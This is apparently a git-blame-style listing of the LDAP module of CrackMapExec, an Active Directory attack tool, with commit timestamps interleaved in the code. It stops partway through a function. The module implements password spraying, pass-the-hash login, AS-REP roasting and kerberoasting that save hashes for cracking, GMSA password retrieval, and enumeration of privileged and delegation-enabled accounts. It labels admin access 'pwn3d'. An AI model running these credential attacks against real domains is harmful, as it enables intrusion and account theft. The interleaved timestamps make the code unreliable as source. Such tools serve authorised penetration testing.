2022-07-18 23:59:14 +00:00
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
2020-06-19 13:20:22 +00:00
# from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py
2020-06-19 21:31:34 +00:00
# https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
2020-06-19 13:20:22 +00:00
import logging
2022-10-19 09:48:22 +00:00
from argparse import _StoreTrueAction
2021-07-02 08:50:41 +00:00
from binascii import b2a_hex , unhexlify , hexlify
2020-06-19 13:20:22 +00:00
from cme . connection import *
from cme . helpers . logger import highlight
from cme . logger import CMEAdapter
2021-11-20 21:37:14 +00:00
from cme . helpers . bloodhound import add_user_bh
2022-10-19 09:48:22 +00:00
from cme . protocols . ldap . gmsa import MSDS_MANAGEDPASSWORD_BLOB
2020-06-19 21:31:34 +00:00
from cme . protocols . ldap . kerberos import KerberosAttacks
2022-10-19 09:48:22 +00:00
from Cryptodome . Hash import MD4
2020-06-19 13:20:22 +00:00
from impacket . smbconnection import SMBConnection , SessionError
from impacket . smb import SMB_DIALECT
from impacket . dcerpc . v5 . samr import UF_ACCOUNTDISABLE , UF_DONT_REQUIRE_PREAUTH , UF_TRUSTED_FOR_DELEGATION , UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
2022-10-24 13:59:43 +00:00
from impacket . krb5 . kerberosv5 import sendReceive , KerberosError , getKerberosTGT , getKerberosTGS , SessionKeyDecryptionError
2020-06-19 13:20:22 +00:00
from impacket . krb5 . types import KerberosTime , Principal
from impacket . ldap import ldap as ldap_impacket
2020-06-19 21:31:34 +00:00
from impacket . krb5 import constants
2020-06-19 13:20:22 +00:00
from impacket . ldap import ldapasn1 as ldapasn1_impacket
2022-10-19 09:48:22 +00:00
from impacket . ldap . ldaptypes import SR_SECURITY_DESCRIPTOR
2020-06-19 13:20:22 +00:00
from io import StringIO
2022-07-06 13:34:07 +00:00
from pywerview . cli . helpers import *
2022-10-19 09:48:22 +00:00
from re import sub , I
2020-06-19 13:20:22 +00:00
2021-07-02 08:50:41 +00:00
ldap_error_status = {
" 533 " : " STATUS_ACCOUNT_DISABLED " ,
" 701 " : " STATUS_ACCOUNT_EXPIRED " ,
" 531 " : " STATUS_ACCOUNT_RESTRICTION " ,
" 530 " : " STATUS_INVALID_LOGON_HOURS " ,
" 532 " : " STATUS_PASSWORD_EXPIRED " ,
" 773 " : " STATUS_PASSWORD_MUST_CHANGE " ,
" 775 " : " USER_ACCOUNT_LOCKED " ,
2022-10-24 12:30:31 +00:00
" 50 " : " LDAP_INSUFFICIENT_ACCESS " ,
2022-10-24 13:01:30 +00:00
" KDC_ERR_CLIENT_REVOKED " : " KDC_ERR_CLIENT_REVOKED " ,
" KDC_ERR_PREAUTH_FAILED " : " KDC_ERR_PREAUTH_FAILED "
2021-07-02 08:50:41 +00:00
}
2022-09-18 23:12:22 +00:00
def get_conditional_action ( baseAction ) :
class ConditionalAction ( baseAction ) :
def __init__ ( self , option_strings , dest , * * kwargs ) :
x = kwargs . pop ( ' make_required ' , [ ] )
super ( ConditionalAction , self ) . __init__ ( option_strings , dest , * * kwargs )
self . make_required = x
def __call__ ( self , parser , namespace , values , option_string = None ) :
for x in self . make_required :
x . required = True
super ( ConditionalAction , self ) . __call__ ( parser , namespace , values , option_string )
return ConditionalAction
2020-06-19 13:20:22 +00:00
class ldap ( connection ) :
def __init__ ( self , args , db , host ) :
self . domain = None
self . server_os = None
self . os_arch = 0
self . hash = None
2020-06-19 21:31:34 +00:00
self . ldapConnection = None
2020-06-19 13:20:22 +00:00
self . lmhash = ' '
self . nthash = ' '
self . baseDN = ' '
2022-09-21 13:08:31 +00:00
self . targetDomain = ' '
2020-06-19 13:20:22 +00:00
self . remote_ops = None
self . bootkey = None
self . output_filename = None
self . smbv1 = None
self . signing = False
self . smb_share_name = smb_share_name
2021-01-21 14:45:55 +00:00
self . admin_privs = False
2020-06-19 13:20:22 +00:00
connection . __init__ ( self , args , db , host )
@staticmethod
def proto_args ( parser , std_parser , module_parser ) :
2021-09-19 14:23:26 +00:00
ldap_parser = parser . add_parser ( ' ldap ' , help = " own stuff using LDAP " , parents = [ std_parser , module_parser ] )
2020-06-19 13:20:22 +00:00
ldap_parser . add_argument ( " -H " , ' --hash ' , metavar = " HASH " , dest = ' hash ' , nargs = ' + ' , default = [ ] , help = ' NTLM hash(es) or file(s) containing NTLM hashes ' )
ldap_parser . add_argument ( " --no-bruteforce " , action = ' store_true ' , help = ' No spray when using file for username and password (user1 => password1, user2 => password2 ' )
ldap_parser . add_argument ( " --continue-on-success " , action = ' store_true ' , help = " continues authentication attempts even after successes " )
ldap_parser . add_argument ( " --port " , type = int , choices = { 389 , 636 } , default = 389 , help = " LDAP port (default: 389) " )
2022-10-19 09:48:22 +00:00
no_smb_arg = ldap_parser . add_argument ( " --no-smb " , action = get_conditional_action ( _StoreTrueAction ) , make_required = [ ] , help = ' No smb connection ' )
2022-09-18 23:12:22 +00:00
2020-06-19 13:20:22 +00:00
dgroup = ldap_parser . add_mutually_exclusive_group ( )
2022-09-18 23:12:22 +00:00
domain_arg = dgroup . add_argument ( " -d " , metavar = " DOMAIN " , dest = ' domain ' , type = str , default = None , help = " domain to authenticate to " )
2020-06-19 13:20:22 +00:00
dgroup . add_argument ( " --local-auth " , action = ' store_true ' , help = ' authenticate locally to each target ' )
2022-09-18 23:12:22 +00:00
no_smb_arg . make_required = [ domain_arg ]
2020-06-19 13:20:22 +00:00
egroup = ldap_parser . add_argument_group ( " Retrevie hash on the remote DC " , " Options to get hashes from Kerberos " )
egroup . add_argument ( " --asreproast " , help = " Get AS_REP response ready to crack with hashcat " )
2020-06-19 21:31:34 +00:00
egroup . add_argument ( " --kerberoasting " , help = ' Get TGS ticket ready to crack with hashcat ' )
vgroup = ldap_parser . add_argument_group ( " Retrieve useful information on the domain " , " Options to to play with Kerberos " )
2020-06-20 09:56:55 +00:00
vgroup . add_argument ( " --trusted-for-delegation " , action = " store_true " , help = " Get the list of users and computers with flag TRUSTED_FOR_DELEGATION " )
2021-01-23 11:21:33 +00:00
vgroup . add_argument ( " --password-not-required " , action = " store_true " , help = " Get the list of users with flag PASSWD_NOTREQD " )
2020-06-19 21:31:34 +00:00
vgroup . add_argument ( " --admin-count " , action = " store_true " , help = " Get objets that had the value adminCount=1 " )
2021-06-24 18:37:54 +00:00
vgroup . add_argument ( " --users " , action = " store_true " , help = " Enumerate enabled domain users " )
2021-01-21 14:45:55 +00:00
vgroup . add_argument ( " --groups " , action = " store_true " , help = " Enumerate domain groups " )
2022-10-14 17:13:17 +00:00
vgroup . add_argument ( " --gmsa " , action = " store_true " , help = " Enumerate GMSA passwords " )
2020-06-19 13:20:22 +00:00
return parser
def proto_logger ( self ) :
self . logger = CMEAdapter ( extra = {
2021-10-16 19:37:06 +00:00
' protocol ' : " SMB " ,
2020-06-19 13:20:22 +00:00
' host ' : self . host ,
2021-10-16 19:37:06 +00:00
' port ' : " 445 " ,
2020-06-19 13:20:22 +00:00
' hostname ' : self . hostname
} )
2022-09-21 13:08:31 +00:00
def get_ldap_info ( self , host ) :
2022-09-08 18:07:31 +00:00
try :
ldapConnection = ldap_impacket . LDAPConnection ( ' ldap:// %s ' % host )
2022-09-21 13:08:31 +00:00
resp = ldapConnection . search ( scope = ldapasn1_impacket . Scope ( ' baseObject ' ) , attributes = [ ' defaultNamingContext ' , ' dnsHostName ' ] , sizeLimit = 0 )
2022-09-08 18:07:31 +00:00
for item in resp :
if isinstance ( item , ldapasn1_impacket . SearchResultEntry ) is not True :
continue
2022-09-21 13:08:31 +00:00
target = None
targetDomain = None
baseDN = None
2022-09-08 18:07:31 +00:00
try :
for attribute in item [ ' attributes ' ] :
if str ( attribute [ ' type ' ] ) == ' defaultNamingContext ' :
baseDN = str ( attribute [ ' vals ' ] [ 0 ] )
2022-10-19 09:48:22 +00:00
targetDomain = sub ( ' ,DC= ' , ' . ' , baseDN [ baseDN . lower ( ) . find ( ' dc= ' ) : ] , flags = I ) [ 3 : ]
2022-09-21 13:08:31 +00:00
if str ( attribute [ ' type ' ] ) == ' dnsHostName ' :
target = str ( attribute [ ' vals ' ] [ 0 ] )
2022-09-08 18:07:31 +00:00
except Exception as e :
logging . debug ( " Exception: " , exc_info = True )
logging . debug ( ' Skipping item, cannot process due to error %s ' % str ( e ) )
except OSError as e :
2022-09-08 18:15:31 +00:00
self . logger . error ( u ' Error connecting to the host. ' )
2022-09-08 18:07:31 +00:00
2022-09-21 13:08:31 +00:00
return [ target , targetDomain , baseDN ]
2022-09-08 18:07:31 +00:00
2020-06-19 13:20:22 +00:00
def get_os_arch ( self ) :
try :
stringBinding = r ' ncacn_ip_tcp: {} [135] ' . format ( self . host )
transport = DCERPCTransportFactory ( stringBinding )
transport . set_connect_timeout ( 5 )
dce = transport . get_dce_rpc ( )
if self . args . kerberos :
dce . set_auth_type ( RPC_C_AUTHN_GSS_NEGOTIATE )
dce . connect ( )
try :
dce . bind ( MSRPC_UUID_PORTMAP , transfer_syntax = ( ' 71710533-BEBA-4937-8319-B5DBEF9CCC36 ' , ' 1.0 ' ) )
except ( DCERPCException , e ) :
if str ( e ) . find ( ' syntaxes_not_supported ' ) > = 0 :
dce . disconnect ( )
return 32
else :
dce . disconnect ( )
return 64
except Exception as e :
logging . debug ( ' Error retrieving os arch of {} : {} ' . format ( self . host , str ( e ) ) )
return 0
2022-09-08 18:14:50 +00:00
def get_ldap_username ( self ) :
extendedRequest = ldapasn1_impacket . ExtendedRequest ( )
extendedRequest [ ' requestName ' ] = ' 1.3.6.1.4.1.4203.1.11.3 ' # whoami
response = self . ldapConnection . sendReceive ( extendedRequest )
for message in response :
searchResult = message [ ' protocolOp ' ] . getComponent ( )
if searchResult [ ' resultCode ' ] == ldapasn1_impacket . ResultCode ( ' success ' ) :
responseValue = searchResult [ ' responseValue ' ]
if responseValue . hasValue ( ) :
value = responseValue . asOctets ( ) . decode ( responseValue . encoding ) [ 2 : ]
return value . split ( ' \\ ' ) [ 1 ]
return ' '
2020-06-19 13:20:22 +00:00
def enum_host_info ( self ) :
2022-02-27 13:00:44 +00:00
# smb no open, specify the domain
if self . args . no_smb :
self . domain = self . args . domain
#self.logger.extra['hostname'] = self.hostname
else :
self . local_ip = self . conn . getSMBServer ( ) . get_socket ( ) . getsockname ( ) [ 0 ]
2020-06-19 13:20:22 +00:00
2022-02-27 13:00:44 +00:00
try :
self . conn . login ( ' ' , ' ' )
except :
#if "STATUS_ACCESS_DENIED" in e:
pass
2020-06-19 13:20:22 +00:00
2022-02-27 13:00:44 +00:00
self . domain = self . conn . getServerDNSDomainName ( )
self . hostname = self . conn . getServerName ( )
self . server_os = self . conn . getServerOS ( )
self . signing = self . conn . isSigningRequired ( ) if self . smbv1 else self . conn . _SMBConnection . _Connection [ ' RequireSigning ' ]
self . os_arch = self . get_os_arch ( )
2020-06-19 13:20:22 +00:00
2022-02-27 13:00:44 +00:00
self . output_filename = os . path . expanduser ( ' ~/.cme/logs/ {} _ {} _ {} ' . format ( self . hostname , self . host , datetime . now ( ) . strftime ( " % Y- % m- %d _ % H % M % S " ) ) )
2022-02-27 13:08:30 +00:00
self . output_filename = self . output_filename . replace ( " : " , " - " )
2020-06-19 13:20:22 +00:00
2022-02-27 13:00:44 +00:00
if not self . domain :
self . domain = self . hostname
2020-06-19 13:20:22 +00:00
2022-02-27 13:00:44 +00:00
try :
''' plaintext_login
DC ' s seem to want us to logoff first, windows workstations sometimes reset the connection
( go home Windows , you ' re drunk)
'''
self . conn . logoff ( )
except :
pass
if self . args . domain :
self . domain = self . args . domain
if self . args . local_auth :
self . domain = self . hostname
#Re-connect since we logged off
self . create_conn_obj ( )
2020-06-19 13:20:22 +00:00
def print_host_info ( self ) :
2022-02-27 13:00:44 +00:00
if self . args . no_smb :
self . logger . extra [ ' protocol ' ] = " LDAP "
2022-03-06 16:58:20 +00:00
self . logger . extra [ ' port ' ] = " 389 "
2022-02-27 13:00:44 +00:00
self . logger . info ( u " Connecting to LDAP {} " . format ( self . hostname ) )
#self.logger.info(self.endpoint)
else :
self . logger . extra [ ' protocol ' ] = " SMB "
self . logger . info ( u " {} {} (name: {} ) (domain: {} ) (signing: {} ) (SMBv1: {} ) " . format ( self . server_os ,
' x {} ' . format ( self . os_arch ) if self . os_arch else ' ' ,
self . hostname ,
self . domain ,
self . signing ,
self . smbv1 ) )
self . logger . extra [ ' protocol ' ] = " LDAP "
#self.logger.info(self.endpoint)
2021-11-17 12:37:14 +00:00
return True
2020-06-19 13:20:22 +00:00
2022-10-20 16:08:30 +00:00
def kerberos_login ( self , domain , username , password = ' ' , ntlm_hash = ' ' , aesKey = ' ' , kdcHost = ' ' , useCache = False ) :
2022-10-22 21:29:56 +00:00
logging . getLogger ( " impacket " ) . disabled = True
2022-10-22 20:38:29 +00:00
self . username = username
self . password = password
self . domain = domain
2022-09-21 13:08:31 +00:00
# Get ldap info (target, targetDomain, baseDN)
target , self . targetDomain , self . baseDN = self . get_ldap_info ( self . host )
2020-06-19 13:20:22 +00:00
2022-10-20 16:08:30 +00:00
lmhash = ' '
nthash = ' '
self . username = username
#This checks to see if we didn't provide the LM Hash
if ntlm_hash . find ( ' : ' ) != - 1 :
lmhash , nthash = ntlm_hash . split ( ' : ' )
self . hash = nthash
else :
nthash = ntlm_hash
self . hash = ntlm_hash
if lmhash : self . lmhash = lmhash
if nthash : self . nthash = nthash
2022-10-24 13:59:43 +00:00
if self . password == ' ' and self . args . asreproast :
hash_TGT = KerberosAttacks ( self ) . getTGT_asroast ( self . username )
if hash_TGT :
self . logger . highlight ( u ' {} ' . format ( hash_TGT ) )
with open ( self . args . asreproast , ' a+ ' ) as hash_asreproast :
hash_asreproast . write ( hash_TGT + ' \n ' )
return False
2020-06-19 13:20:22 +00:00
try :
2022-09-19 10:02:58 +00:00
# Connect to LDAP
2022-10-21 08:02:34 +00:00
proto = " ldaps " if self . args . gmsa else " ldap "
2022-10-19 09:48:22 +00:00
self . ldapConnection = ldap_impacket . LDAPConnection ( proto + ' :// %s ' % target , self . baseDN )
2022-10-20 16:08:30 +00:00
self . ldapConnection . kerberosLogin ( username , password , domain , self . lmhash , self . nthash ,
aesKey , kdcHost = kdcHost , useCache = useCache )
2022-01-19 18:36:33 +00:00
2022-09-08 18:14:50 +00:00
if self . username == ' ' :
2022-09-19 10:02:58 +00:00
self . username = self . get_ldap_username ( )
self . check_if_admin ( )
2022-09-08 18:14:50 +00:00
2022-10-24 12:12:32 +00:00
out = u ' {} \\ {} {} {} ' . format ( domain ,
self . username ,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache " if useCache
2022-10-24 13:59:43 +00:00
else " : %s " % ( next ( sub for sub in [ self . nthash , password , aesKey ] if sub != ' ' or sub != None ) if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2022-10-24 12:12:32 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
2022-01-19 18:36:33 +00:00
self . logger . extra [ ' protocol ' ] = " LDAP "
2022-10-23 11:08:39 +00:00
self . logger . extra [ ' port ' ] = " 389 " if not self . args . gmsa else " 636 "
2022-01-19 18:36:33 +00:00
self . logger . success ( out )
2022-09-19 10:02:58 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2022-10-20 19:40:53 +00:00
if not self . args . continue_on_success :
return True
2022-10-24 13:59:43 +00:00
except SessionKeyDecryptionError :
# for PRE-AUTH account
self . logger . error ( u ' {} \\ {} {} {} ' . format ( domain ,
self . username ,
" account vulnerable to asreproast attack " ,
" " ) ,
color = ' yellow ' )
return False
2022-10-20 19:40:53 +00:00
except SessionError as e :
2022-10-24 12:30:31 +00:00
error , desc = e . getErrorString ( )
2022-10-24 12:12:32 +00:00
self . logger . error ( u ' {} \\ {} {} {} ' . format ( self . domain ,
2022-10-20 19:40:53 +00:00
self . username ,
2022-10-24 12:12:32 +00:00
" from ccache " if useCache
2022-10-24 13:59:43 +00:00
else " : %s " % ( next ( ( sub for sub in [ self . nthash , password , aesKey ] if sub != ' ' or sub != None ) ) if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2022-10-24 13:01:30 +00:00
str ( error ) ) ,
2022-10-24 12:30:31 +00:00
color = ' magenta ' if error in ldap_error_status else ' red ' )
2022-10-20 19:40:53 +00:00
return False
except KeyError as e :
2022-10-24 12:12:32 +00:00
self . logger . error ( u ' {} \\ {} {} {} ' . format ( self . domain ,
2022-10-20 19:40:53 +00:00
self . username ,
2022-10-24 12:12:32 +00:00
" from ccache " if useCache
2022-10-24 13:59:43 +00:00
else " : %s " % ( next ( sub for sub in [ self . nthash , password , aesKey ] if sub != ' ' or sub != None ) if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2022-10-20 19:40:53 +00:00
' ' ) ,
color = ' red ' )
2022-10-24 12:30:31 +00:00
return False
2020-06-19 13:20:22 +00:00
except ldap_impacket . LDAPSessionError as e :
if str ( e ) . find ( ' strongerAuthRequired ' ) > = 0 :
# We need to try SSL
2022-10-24 12:30:31 +00:00
try :
# Connect to LDAPS
self . ldapConnection = ldap_impacket . LDAPConnection ( ' ldaps:// %s ' % target , self . baseDN )
self . ldapConnection . kerberosLogin ( username , password , domain , self . lmhash , self . nthash ,
aesKey , kdcHost = kdcHost , useCache = useCache )
2022-06-28 19:12:09 +00:00
2022-10-24 12:30:31 +00:00
if self . username == ' ' :
self . username = self . get_ldap_username ( )
self . check_if_admin ( )
# Prepare success credential text
out = u ' {} \\ {} {} {} ' . format ( domain ,
self . username ,
" from ccache " if useCache
2022-10-24 13:59:43 +00:00
else " : %s " % ( next ( sub for sub in [ self . nthash , password , aesKey ] if sub != ' ' or sub != None ) if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2022-10-24 12:30:31 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
if self . username == ' ' :
self . username = self . get_ldap_username ( )
self . check_if_admin ( )
# Prepare success credential text
out = u ' {} \\ {} {} ' . format ( domain ,
self . username ,
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
self . logger . extra [ ' protocol ' ] = " LDAPS "
self . logger . extra [ ' port ' ] = " 636 "
self . logger . success ( out )
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
if not self . args . continue_on_success :
return True
except ldap_impacket . LDAPSessionError as e :
errorCode = str ( e ) . split ( ) [ - 2 ] [ : - 1 ]
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( self . domain ,
self . username ,
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
ldap_error_status [ errorCode ] if errorCode in ldap_error_status else ' ' ) ,
color = ' magenta ' if errorCode in ldap_error_status else ' red ' )
return False
except SessionError as e :
error , desc = e . getErrorString ( )
self . logger . error ( u ' {} \\ {} {} {} ' . format ( self . domain ,
self . username ,
" from ccache " if useCache
2022-10-24 13:59:43 +00:00
else " : %s " % ( next ( sub for sub in [ self . nthash , password , aesKey ] if sub != ' ' or sub != None ) if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2022-10-24 13:01:30 +00:00
str ( error ) ) ,
2022-10-24 12:30:31 +00:00
color = ' magenta ' if error in ldap_error_status else ' red ' )
return False
2021-07-02 08:50:41 +00:00
else :
errorCode = str ( e ) . split ( ) [ - 2 ] [ : - 1 ]
2022-10-24 12:12:32 +00:00
self . logger . error ( u ' {} \\ {} {} {} ' . format ( self . domain ,
2022-09-19 10:02:58 +00:00
self . username ,
2022-10-24 12:12:32 +00:00
" from ccache " if useCache
2022-10-24 13:59:43 +00:00
else " : %s " % ( next ( sub for sub in [ self . nthash , password , aesKey ] if sub != ' ' or sub != None ) if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ) ,
2021-07-02 08:50:41 +00:00
ldap_error_status [ errorCode ] if errorCode in ldap_error_status else ' ' ) ,
color = ' magenta ' if errorCode in ldap_error_status else ' red ' )
2022-10-24 12:30:31 +00:00
return False
2020-06-22 10:25:32 +00:00
2020-06-19 13:20:22 +00:00
def plaintext_login ( self , domain , username , password ) :
self . username = username
self . password = password
self . domain = domain
2021-07-02 08:50:41 +00:00
2022-09-21 13:08:31 +00:00
# Get ldap info (target, targetDomain, baseDN)
target , self . targetDomain , self . baseDN = self . get_ldap_info ( self . host )
2020-06-19 13:20:22 +00:00
2020-06-30 20:49:01 +00:00
if self . password == ' ' and self . args . asreproast :
hash_TGT = KerberosAttacks ( self ) . getTGT_asroast ( self . username )
if hash_TGT :
self . logger . highlight ( u ' {} ' . format ( hash_TGT ) )
with open ( self . args . asreproast , ' a+ ' ) as hash_asreproast :
hash_asreproast . write ( hash_TGT + ' \n ' )
return False
2020-06-19 13:20:22 +00:00
try :
2022-09-16 15:44:59 +00:00
# Connect to LDAP
2022-10-21 08:02:34 +00:00
proto = " ldaps " if self . args . gmsa else " ldap "
2022-10-19 09:48:22 +00:00
self . ldapConnection = ldap_impacket . LDAPConnection ( proto + ' :// %s ' % target , self . baseDN )
2020-06-19 21:31:34 +00:00
self . ldapConnection . login ( self . username , self . password , self . domain , self . lmhash , self . nthash )
2021-07-02 08:50:41 +00:00
self . check_if_admin ( )
2021-01-21 14:45:55 +00:00
2022-09-19 10:02:58 +00:00
# Prepare success credential text
out = u ' {} \\ {} : {} {} ' . format ( domain ,
self . username ,
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
2022-10-23 19:29:30 +00:00
2021-10-16 19:37:06 +00:00
self . logger . extra [ ' protocol ' ] = " LDAP "
2022-10-23 11:08:39 +00:00
self . logger . extra [ ' port ' ] = " 389 " if not self . args . gmsa else " 636 "
2020-06-30 20:49:01 +00:00
self . logger . success ( out )
2021-01-21 08:47:45 +00:00
2022-02-06 12:33:49 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2021-01-21 08:47:45 +00:00
if not self . args . continue_on_success :
return True
2020-06-19 13:20:22 +00:00
except ldap_impacket . LDAPSessionError as e :
if str ( e ) . find ( ' strongerAuthRequired ' ) > = 0 :
# We need to try SSL
2020-06-30 20:49:01 +00:00
try :
2022-09-19 10:02:58 +00:00
# Connect to LDAPS
2022-09-21 13:08:31 +00:00
self . ldapConnection = ldap_impacket . LDAPConnection ( ' ldaps:// %s ' % target , self . baseDN )
2020-06-30 20:49:01 +00:00
self . ldapConnection . login ( self . username , self . password , self . domain , self . lmhash , self . nthash )
2022-09-19 10:02:58 +00:00
self . check_if_admin ( )
# Prepare success credential text
out = u ' {} \\ {} : {} {} ' . format ( domain ,
self . username ,
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
2021-10-16 19:37:06 +00:00
self . logger . extra [ ' protocol ' ] = " LDAPS "
self . logger . extra [ ' port ' ] = " 636 "
2020-06-30 20:49:01 +00:00
self . logger . success ( out )
2022-09-19 10:02:58 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2022-10-20 19:40:53 +00:00
if not self . args . continue_on_success :
return True
2020-06-30 20:49:01 +00:00
except ldap_impacket . LDAPSessionError as e :
2021-07-02 08:50:41 +00:00
errorCode = str ( e ) . split ( ) [ - 2 ] [ : - 1 ]
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( self . domain ,
self . username ,
2022-02-07 21:19:46 +00:00
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2021-07-02 08:50:41 +00:00
ldap_error_status [ errorCode ] if errorCode in ldap_error_status else ' ' ) ,
color = ' magenta ' if errorCode in ldap_error_status else ' red ' )
2020-06-19 21:57:09 +00:00
else :
2021-07-02 08:50:41 +00:00
errorCode = str ( e ) . split ( ) [ - 2 ] [ : - 1 ]
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( self . domain ,
2020-06-19 21:57:09 +00:00
self . username ,
2022-02-07 21:19:46 +00:00
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2021-07-02 08:50:41 +00:00
ldap_error_status [ errorCode ] if errorCode in ldap_error_status else ' ' ) ,
color = ' magenta ' if errorCode in ldap_error_status else ' red ' )
2020-06-19 21:31:34 +00:00
return False
2021-01-21 08:54:26 +00:00
except OSError as e :
2021-09-18 21:02:01 +00:00
self . logger . error ( u ' {} \\ {} : {} {} ' . format ( self . domain ,
2021-01-21 08:54:26 +00:00
self . username ,
2022-02-07 21:19:46 +00:00
self . password if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2022-09-18 11:04:14 +00:00
" Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller or add the IP/HOST to your /etc/host file " ) )
2021-01-21 08:54:26 +00:00
return False
2020-06-19 13:20:22 +00:00
2020-06-22 10:25:32 +00:00
def hash_login ( self , domain , username , ntlm_hash ) :
2022-10-20 19:40:53 +00:00
self . logger . extra [ ' protocol ' ] = " LDAP "
self . logger . extra [ ' port ' ] = " 389 "
2020-06-22 10:25:32 +00:00
lmhash = ' '
nthash = ' '
#This checks to see if we didn't provide the LM Hash
if ntlm_hash . find ( ' : ' ) != - 1 :
lmhash , nthash = ntlm_hash . split ( ' : ' )
else :
nthash = ntlm_hash
self . hash = ntlm_hash
if lmhash : self . lmhash = lmhash
if nthash : self . nthash = nthash
self . username = username
self . domain = domain
2021-07-02 08:50:41 +00:00
2022-09-21 13:08:31 +00:00
# Get ldap info (target, targetDomain, baseDN)
target , self . targetDomain , self . baseDN = self . get_ldap_info ( self . host )
2020-06-22 10:25:32 +00:00
2020-06-30 20:49:01 +00:00
if self . hash == ' ' and self . args . asreproast :
hash_TGT = KerberosAttacks ( self ) . getTGT_asroast ( self . username )
if hash_TGT :
self . logger . highlight ( u ' {} ' . format ( hash_TGT ) )
with open ( self . args . asreproast , ' a+ ' ) as hash_asreproast :
hash_asreproast . write ( hash_TGT + ' \n ' )
return False
2020-06-22 10:25:32 +00:00
try :
2022-09-19 10:02:58 +00:00
# Connect to LDAP
2022-10-21 08:02:34 +00:00
proto = " ldaps " if self . args . gmsa else " ldap "
2022-10-19 09:48:22 +00:00
self . ldapConnection = ldap_impacket . LDAPConnection ( proto + ' :// %s ' % target , self . baseDN )
2020-06-22 10:25:32 +00:00
self . ldapConnection . login ( self . username , self . password , self . domain , self . lmhash , self . nthash )
2021-07-02 08:50:41 +00:00
self . check_if_admin ( )
2022-09-19 10:02:58 +00:00
# Prepare success credential text
out = u ' {} \\ {} : {} {} ' . format ( domain ,
self . username ,
self . nthash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
2021-10-16 19:37:06 +00:00
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
self . logger . extra [ ' protocol ' ] = " LDAP "
2022-10-23 11:08:39 +00:00
self . logger . extra [ ' port ' ] = " 389 " if not self . args . gmsa else " 636 "
2020-06-30 20:49:01 +00:00
self . logger . success ( out )
2021-01-21 08:47:45 +00:00
2022-02-06 12:33:49 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2021-01-21 08:47:45 +00:00
if not self . args . continue_on_success :
return True
2020-06-22 10:25:32 +00:00
except ldap_impacket . LDAPSessionError as e :
if str ( e ) . find ( ' strongerAuthRequired ' ) > = 0 :
2020-06-30 20:49:01 +00:00
try :
# We need to try SSL
2022-09-21 13:08:31 +00:00
self . ldapConnection = ldap_impacket . LDAPConnection ( ' ldaps:// %s ' % target , self . baseDN )
2020-06-30 20:49:01 +00:00
self . ldapConnection . login ( self . username , self . password , self . domain , self . lmhash , self . nthash )
2022-09-19 10:02:58 +00:00
self . check_if_admin ( )
# Prepare success credential text
out = u ' {} \\ {} : {} {} ' . format ( domain ,
self . username ,
self . nthash if not self . config . get ( ' CME ' , ' audit_mode ' ) else self . config . get ( ' CME ' , ' audit_mode ' ) * 8 ,
highlight ( ' ( {} ) ' . format ( self . config . get ( ' CME ' , ' pwn3d_label ' ) ) if self . admin_privs else ' ' ) )
2021-10-16 19:37:06 +00:00
self . logger . extra [ ' protocol ' ] = " LDAPS "
self . logger . extra [ ' port ' ] = " 636 "
2020-06-30 20:49:01 +00:00
self . logger . success ( out )
2022-09-19 10:02:58 +00:00
if not self . args . local_auth :
add_user_bh ( self . username , self . domain , self . logger , self . config )
2022-10-20 19:40:53 +00:00
if not self . args . continue_on_success :
return True
2020-06-30 20:49:01 +00:00
except ldap_impacket . LDAPSessionError as e :
2021-07-02 08:50:41 +00:00
